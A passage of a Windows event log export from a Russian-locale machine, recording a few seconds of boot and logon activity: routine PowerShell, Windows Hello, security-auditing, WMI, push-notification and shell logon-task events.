Realtek\n\tEngineVersion=\n\tRunspaceId=\n\tPipelineId=\n\tCommandName=\n\tCommandType=\n\tScriptName=\n\tCommandPath=\n\tCommandLine=\"\tInformation\tWindows PowerShell\tPowerShell\n05.09.2026 08:29:01.796\t600\t\"Provider \"\"Environment\"\" is Started. \n\nDetails: \n\tProviderName=Environment\n\tNewProviderState=Started\n\n\tSequenceNumber=5\n\n\tHostName=ConsoleHost\n\tHostVersion=5.1.26100.9168\n\tHostId=9f70008a-1e45-4e30-868f-4606c891c66e\n\tHostApplication=C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -ExecutionPolicy Bypass New-EventLog -Source RtkAudUService -LogName Realtek\n\tEngineVersion=\n\tRunspaceId=\n\tPipelineId=\n\tCommandName=\n\tCommandType=\n\tScriptName=\n\tCommandPath=\n\tCommandLine=\"\tInformation\tWindows PowerShell\tPowerShell\n05.09.2026 08:29:01.797\t600\t\"Provider \"\"FileSystem\"\" is Started. \n\nDetails: \n\tProviderName=FileSystem\n\tNewProviderState=Started\n\n\tSequenceNumber=7\n\n\tHostName=ConsoleHost\n\tHostVersion=5.1.26100.9168\n\tHostId=9f70008a-1e45-4e30-868f-4606c891c66e\n\tHostApplication=C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -ExecutionPolicy Bypass New-EventLog -Source RtkAudUService -LogName Realtek\n\tEngineVersion=\n\tRunspaceId=\n\tPipelineId=\n\tCommandName=\n\tCommandType=\n\tScriptName=\n\tCommandPath=\n\tCommandLine=\"\tInformation\tWindows PowerShell\tPowerShell\n05.09.2026 08:29:01.797\t600\t\"Provider \"\"Function\"\" is Started. \n\nDetails: \n\tProviderName=Function\n\tNewProviderState=Started\n\n\tSequenceNumber=9\n\n\tHostName=ConsoleHost\n\tHostVersion=5.1.26100.9168\n\tHostId=9f70008a-1e45-4e30-868f-4606c891c66e\n\tHostApplication=C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -ExecutionPolicy Bypass New-EventLog -Source RtkAudUService -LogName Realtek\n\tEngineVersion=\n\tRunspaceId=\n\tPipelineId=\n\tCommandName=\n\tCommandType=\n\tScriptName=\n\tCommandPath=\n\tCommandLine=\"\tInformation\tWindows PowerShell\tPowerShell\n05.09.2026 08:29:01.797\t600\t\"Provider \"\"Variable\"\" is Started. \n\nDetails: \n\tProviderName=Variable\n\tNewProviderState=Started\n\n\tSequenceNumber=11\n\n\tHostName=ConsoleHost\n\tHostVersion=5.1.26100.9168\n\tHostId=9f70008a-1e45-4e30-868f-4606c891c66e\n\tHostApplication=C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -ExecutionPolicy Bypass New-EventLog -Source RtkAudUService -LogName Realtek\n\tEngineVersion=\n\tRunspaceId=\n\tPipelineId=\n\tCommandName=\n\tCommandType=\n\tScriptName=\n\tCommandPath=\n\tCommandLine=\"\tInformation\tWindows PowerShell\tPowerShell\n05.09.2026 08:29:01.803\t400\t\"Engine state is changed from None to Available. \n\nDetails: \n\tNewEngineState=Available\n\tPreviousEngineState=None\n\n\tSequenceNumber=13\n\n\tHostName=ConsoleHost\n\tHostVersion=5.1.26100.9168\n\tHostId=9f70008a-1e45-4e30-868f-4606c891c66e\n\tHostApplication=C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -ExecutionPolicy Bypass New-EventLog -Source RtkAudUService -LogName Realtek\n\tEngineVersion=5.1.26100.9168\n\tRunspaceId=b4ac8dc4-2f88-4eea-a562-fe8eca0c95d0\n\tPipelineId=\n\tCommandName=\n\tCommandType=\n\tScriptName=\n\tCommandPath=\n\tCommandLine=\"\tInformation\tWindows PowerShell\tPowerShell\n05.09.2026 08:29:01.807\t40962\tPowerShell console is ready for user input\tInformation\tMicrosoft-Windows-PowerShell/Operational\tMicrosoft-Windows-PowerShell\n05.09.2026 08:29:01.810\t8002\t\"Successfully loaded an existing hardware Windows Hello container.\n\nID: {37b5cc48-d2d4-4aab-93e7-8e74ef7366bd}\nVersion: 1\nHas Cached Logon Key: true\nState: Okay\"\t16\tMicrosoft-Windows-HelloForBusiness/Operational\tMicrosoft-Windows-HelloForBusiness\n05.09.2026 08:29:01.854\t5058\t\"Key file operation.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-19\n\tAccount Name:\t\tLOCAL SERVICE\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E5\n\nProcess Information:\n\tProcess ID:\t\t9572\n\tProcess Creation Time:\t\u200e2026\u200e-\u200e09\u200e-\u200e05T01:29:01.782937100Z\n\nCryptographic Parameters:\n\tProvider Name:\tMicrosoft Software Key Storage Provider\n\tAlgorithm Name:\tUNKNOWN\n\tKey Name:\tMicrosoft Connected Devices Platform device certificate\n\tKey Type:\tUser key.\n\nKey File Operation Information:\n\tFile Path:\tC:\\WINDOWS\\ServiceProfiles\\LocalService\\AppData\\Roaming\\Microsoft\\Crypto\\Keys\\de7cf8a7901d2ad13e5c67c29e5d1662_aae0f96c-9dfa-4728-bee3-a8368e406b6b\n\tOperation:\tRead persisted key from file.\n\tReturn Code:\t0x0\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:01.855\t5061\t\"Cryptographic operation.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-19\n\tAccount Name:\t\tLOCAL SERVICE\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E5\n\nCryptographic Parameters:\n\tProvider Name:\tMicrosoft Software Key Storage Provider\n\tAlgorithm Name:\tECDSA_P256\n\tKey Name:\tMicrosoft Connected Devices Platform device certificate\n\tKey Type:\tUser key.\n\nCryptographic Operation:\n\tOperation:\tOpen Key.\n\tReturn Code:\t0x0\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:01.856\t5059\t\"Key migration operation.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-19\n\tAccount Name:\t\tLOCAL SERVICE\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E5\n\nProcess Information:\n\tProcess ID:\t\t9572\n\tProcess Creation Time:\t\u200e2026\u200e-\u200e09\u200e-\u200e05T01:29:01.782937100Z\n\nCryptographic Parameters:\n\tProvider Name:\tMicrosoft Software Key Storage Provider\n\tAlgorithm Name:\tECDSA_P256\n\tKey Name:\tMicrosoft Connected Devices Platform device certificate\n\tKey Type:\tUser key.\n\nAdditional Information:\n\tOperation:\tExport of persistent cryptographic key.\n\tReturn Code:\t0x0\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:01.874\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:01.874\t37\tThe Windows Push Notification Platform is required to connect on startup, ValidChannelsExist : true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:01.875\t1700\tSystem Migration Task Started.\tInformation\tMicrosoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider/Admin\tMicrosoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider\n05.09.2026 08:29:01.877\t1708\tImpersonation result. Result: (An attempt was made to reference a token that does not exist.).\tInformation\tMicrosoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider/Admin\tMicrosoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider\n05.09.2026 08:29:01.882\t1025\tA Power event was fired: BatterySaverStateChange [PowerEventType] false [Enabled].\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:01.883\t1025\tA Power event was fired: ACPowerChange [PowerEventType] true [Enabled].\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:01.883\t1025\tA Power event was fired: OpportunisticConnectedStandbyStateChange [PowerEventType] false [Enabled].\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:01.884\t1025\tA Power event was fired: MonitorSettingChange [PowerEventType] true [Enabled].\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:01.885\t1066\t\"Initialization status for service objects.\nC:\\WINDOWS\\system32\\sppwinob.dll, msft:spp/windowsfunctionality/agent/7.0, 0x00000000, 0x00000000\nC:\\WINDOWS\\system32\\sppobjs.dll, msft:rm/algorithm/inherited/1.0, 0x00000000, 0x00000000\nC:\\WINDOWS\\system32\\sppobjs.dll, msft:rm/algorithm/phone/1.0, 0x00000000, 0x00000000\nC:\\WINDOWS\\system32\\sppobjs.dll, msft:rm/algorithm/pkey/detect, 0x00000000, 0x00000000\nC:\\WINDOWS\\system32\\sppobjs.dll, msft:spp/ActionScheduler/1.0, 0x00000000, 0x00000000\nC:\\WINDOWS\\system32\\sppobjs.dll, msft:spp/TaskScheduler/1.0, 0x00000000, 0x00000000\nC:\\WINDOWS\\system32\\sppobjs.dll, msft:spp/statecollector/pkey, 0x00000000, 0x00000000\nC:\\WINDOWS\\system32\\sppobjs.dll, msft:spp/volume/services/kms/1.0, 0x00000000, 0x00000000\nC:\\WINDOWS\\system32\\sppobjs.dll, msft:spp/volume/services/kms/activationinfo/1.0, 0x00000000, 0x00000000\n\"\tInformation\tApplication\tMicrosoft-Windows-Security-SPP\n05.09.2026 08:29:01.909\t1023\tNo internet connection available, ConnectWork is queued for next network status change.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:01.916\t8025\tThe Microsoft Passport Container service started successfully.\t16\tMicrosoft-Windows-HelloForBusiness/Operational\tMicrosoft-Windows-HelloForBusiness\n05.09.2026 08:29:01.922\t2102\t\"Ctap command completed.\n\nTransactionId: {ec5295cc-66be-4c4e-b2bb-2a8769b4eb95}\nResponse: \"\t16\tMicrosoft-Windows-WebAuthN/Operational\tMicrosoft-Windows-WebAuthN\n05.09.2026 08:29:01.941\t3006\tToast session creation is requested for C:\\Windows\\System32\\svchost.exe from endpoint 0x0.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:01.941\t3007\tToast session creation is finished for C:\\Windows\\System32\\svchost.exe from endpoint 0x0 with result The operation completed successfully., and 1 is assigned as session id.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:01.974\t263\tWDDM graphics mode is enabled\tInformation\tMicrosoft-Windows-TerminalServices-RemoteConnectionManager/Operational\tMicrosoft-Windows-TerminalServices-RemoteConnectionManager\n05.09.2026 08:29:01.983\t3049\tEndpoint 0x0 is being cleanedup\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:01.998\t61\tIs the Battery Saver state enabled: false\tInformation\tMicrosoft-Windows-UniversalTelemetryClient/Operational\tMicrosoft-Windows-UniversalTelemetryClient\n05.09.2026 08:29:01.998\t62\tIs the device in connected standby: false\tInformation\tMicrosoft-Windows-UniversalTelemetryClient/Operational\tMicrosoft-Windows-UniversalTelemetryClient\n05.09.2026 08:29:02.022\t63\tA provider, IntelMEProv, has been registered in the Windows Management Instrumentation namespace root\\Intel_ME to use the LocalSystem account. This account is privileged and the provider may cause a security violation if it does not correctly impersonate user requests.\tWarning\tApplication\tMicrosoft-Windows-WMI\n05.09.2026 08:29:02.030\t63\tA provider, IntelMEProv, has been registered in the Windows Management Instrumentation namespace root\\Intel_ME to use the LocalSystem account. This account is privileged and the provider may cause a security violation if it does not correctly impersonate user requests.\tWarning\tApplication\tMicrosoft-Windows-WMI\n05.09.2026 08:29:02.037\t63\tA provider, IntelMEProv, has been registered in the Windows Management Instrumentation namespace root\\Intel_ME to use the LocalSystem account. This account is privileged and the provider may cause a security violation if it does not correctly impersonate user requests.\tWarning\tApplication\tMicrosoft-Windows-WMI\n05.09.2026 08:29:02.058\t2\tIntel(R) WMI Registration Service has successfully finished WMI Registration.\tInformation\tApplication\tWMIRegistrationService\n05.09.2026 08:29:02.060\t8000\t\"Process Name: C:\\WINDOWS\\system32\\sihost.exe\nModule Name: C:\\WINDOWS\\SYSTEM32\\licensemanagerapi.dll\nBuild: 26100.1.amd64fre.ge_release.240331-1435\n\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:02.127\t0\tService started successfully.\tInformation\tApplication\tSamsungQuickShareService\n05.09.2026 08:29:02.156\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:02.156\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:02.180\t403\t\"Engine state is changed from Available to Stopped. \n\nDetails: \n\tNewEngineState=Stopped\n\tPreviousEngineState=Available\n\n\tSequenceNumber=47\n\n\tHostName=ConsoleHost\n\tHostVersion=5.1.26100.9168\n\tHostId=9f70008a-1e45-4e30-868f-4606c891c66e\n\tHostApplication=C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -ExecutionPolicy Bypass New-EventLog -Source RtkAudUService -LogName Realtek\n\tEngineVersion=5.1.26100.9168\n\tRunspaceId=b4ac8dc4-2f88-4eea-a562-fe8eca0c95d0\n\tPipelineId=\n\tCommandName=\n\tCommandType=\n\tScriptName=\n\tCommandPath=\n\tCommandLine=\"\tInformation\tWindows PowerShell\tPowerShell\n05.09.2026 08:29:02.182\t1003\t\"The Windows Search Service started.\n\"\tInformation\tApplication\tMicrosoft-Windows-Search\n05.09.2026 08:29:02.185\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-544\n\tGroup Name:\t\t\u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0x2240\n\tProcess Name:\t\tC:\\Windows\\System32\\SearchIndexer.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:02.187\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-551\n\tGroup Name:\t\t\u041e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b \u0430\u0440\u0445\u0438\u0432\u0430\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0x2240\n\tProcess Name:\t\tC:\\Windows\\System32\\SearchIndexer.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:02.199\t8000\t\"Process Name: C:\\WINDOWS\\system32\\svchost.exe\nModule Name: C:\\WINDOWS\\SYSTEM32\\licensemanagerapi.dll\nBuild: 26100.1.amd64fre.ge_release.240331-1435\n\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:02.201\t219\tPSMFlags for Desktop AppX process %1 with applicationID %2 is %3.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:29:02.216\t210\tCreated Desktop AppX container {245CDAF2-A8C9-11F1-B7FF-289200F24A99} for package MicrosoftWindows.Client.CBS_1000.26100.344.0_x64__cw5n1h2txyewy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:29:02.216\t211\tAdded process 9000 to Desktop AppX container 245cdaf2-a8c9-11f1-b7ff-289200f24a99 for package MicrosoftWindows.Client.CBS_1000.26100.344.0_x64__cw5n1h2txyewy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:29:02.220\t201\tCreated process 9000 for application MicrosoftWindows.Client.CBS_cw5n1h2txyewy!CrossDeviceResumeApp in package MicrosoftWindows.Client.CBS_1000.26100.344.0_x64__cw5n1h2txyewy. [LaunchProcess]\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:29:02.235\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:02.235\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:02.260\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:02.260\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:02.301\t62170\tLogon task 'AllLogonTasks' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.302\t62170\tLogon task 'PreRoamingTasks' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.302\t62170\tLogon task 'BackupRestoreCoordinator' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.302\t62171\tLogon task 'BackupRestoreCoordinator' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.302\t62170\tLogon task 'ShellPrep' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.303\t62443\tAppDefault Info: File Association hash version is still the same\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.303\t62171\tLogon task 'ShellPrep' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.303\t62170\tLogon task 'DefaultAssociations' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.303\t62170\tLogon task 'AppReadinessPreRoamingGroup' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.303\t62170\tLogon task 'AppReadinessPreShellGroup' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.303\t62170\tLogon task 'AppResolver' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.303\t62170\tLogon task 'SkydrivePrep' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.303\t62171\tLogon task 'SkydrivePrep' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.303\t62170\tLogon task 'RunOnce' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.303\t62170\tLogon task 'GetLanguageOverlayPackage' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.303\t62171\tLogon task 'GetLanguageOverlayPackage' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.305\t62443\tAppDefault Info: AppDefaults-Logon-UserProfileLoaded\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.305\t28125\tStarting to refresh app resolver cache for scenario 1 with flags 268.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.308\t62171\tLogon task 'DefaultAssociations' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.320\t62171\tLogon task 'RunOnce' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.320\t62170\tLogon task 'ActiveSetup' started with flags 